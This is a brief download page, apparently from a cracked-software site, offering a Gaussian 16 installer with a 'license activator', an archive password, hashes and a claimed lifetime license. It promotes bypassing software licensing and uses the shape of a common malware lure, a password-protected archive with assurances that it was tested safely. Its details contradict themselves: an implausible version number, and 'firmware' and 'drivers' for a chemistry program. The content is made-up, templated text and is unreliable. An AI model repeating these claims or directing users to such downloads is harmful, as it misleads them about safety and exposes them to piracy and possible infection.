Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Gaussian_16_v7.9_x64_setup.zip |
| Version | v7.9.1464 build 49436 |
| File Size | 1.70 GB (1739 MB) |
| MD5 Hash | 9a048519ca9706f4189696c374cf5c95 |
| SHA-256 | 2b7208214392d2fb24152e3a842b4899e83846b4453de07c33c7f317d72cba53 |
| Release Date | 2026-11-20 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | faxorog |
| License Type | Lifetime License |
The Gaussian 16 latest firmware update support package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.